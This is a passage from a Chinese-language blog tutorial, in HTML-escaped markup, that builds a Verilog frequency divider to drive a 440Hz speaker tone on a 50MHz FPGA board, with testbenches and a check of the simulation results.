number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,占空比就不是 50% 了,$b’1000\\ 0000\\ 0000\\ 0000\u0026#x3D;d’32768$ ,所以低电平为 0\u003cdel\u003e32767,高电平为 32768\u003c/del\u003e56818,占空比为42%\u003c/p\u003e\u003cp\u003e所以可以折中一下,然后每次翻转 \u003ccode\u003espeaker\u003c/code\u003e 的电平值 ,而且折中之后可以省一位计数器的值~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"实践\"\u003e\u003ca href=\"#实践\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h3\u003e\u003cp\u003e因为征途mini的主频为50M,所以用17位可以产生的时钟为 $(2\\times25\\times10^6)\\div(2\\times65536)\u0026#x3D;381Hz$\u003c/p\u003e\u003cp\u003e要产生440Hz,计数到 $56818\\times2\u0026#x3D;113636$ 即可。\u003c/p\u003e\u003cp\u003e使用翻转的方式,使用16位计数器,折中计数至 56818,同时加上了复位信号\u003c/p\u003e\u003cp\u003e主程序代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'd56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'd56817\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真验证,\u003ccode\u003eTestbench\u003c/code\u003e 代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// tb_music.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic music_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"仿真结果\"\u003e\u003ca href=\"#仿真结果\" class=\"headerlink\" title=\"仿真结果\"\u003e\u003c/a\u003e仿真结果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/0.png\" alt=\"0\"\u003e\u003c/p\u003e\u003cp\u003e占空比 $4545450-3409090\u0026#x3D;1136360$ $3409090-2272730\u0026#x3D;1136360$ ,可以看出占空比确实为50% \u003c/p\u003e\u003cp\u003e频率 $\\frac{1}{4545450-2272730}\\times10^9\u0026#x3D;440Hz$\u003c/p\u003e\u003cp\u003e)因为我莫得喇叭,就先不上板子了……\u003c/p\u003e\u003chr\u003e\u003cp\u003e\u003cdel\u003e剩下的等我学完……\u003c/del\u003e 下面的再更新一下 \u003cspan class=\"bella_beijixing\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"添加参数\"\u003e\u003ca href=\"#添加参数\" class=\"headerlink\" title=\"添加参数\"\u003e\u003c/a\u003e添加参数\u003c/h3\u003e\u003cp\u003e添加了一个名字叫 \u003ccode\u003eclkdivider\u003c/code\u003e 的参数,方便之后的修改。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// testbench.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclkdivider\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclkdivider\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emusic_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" 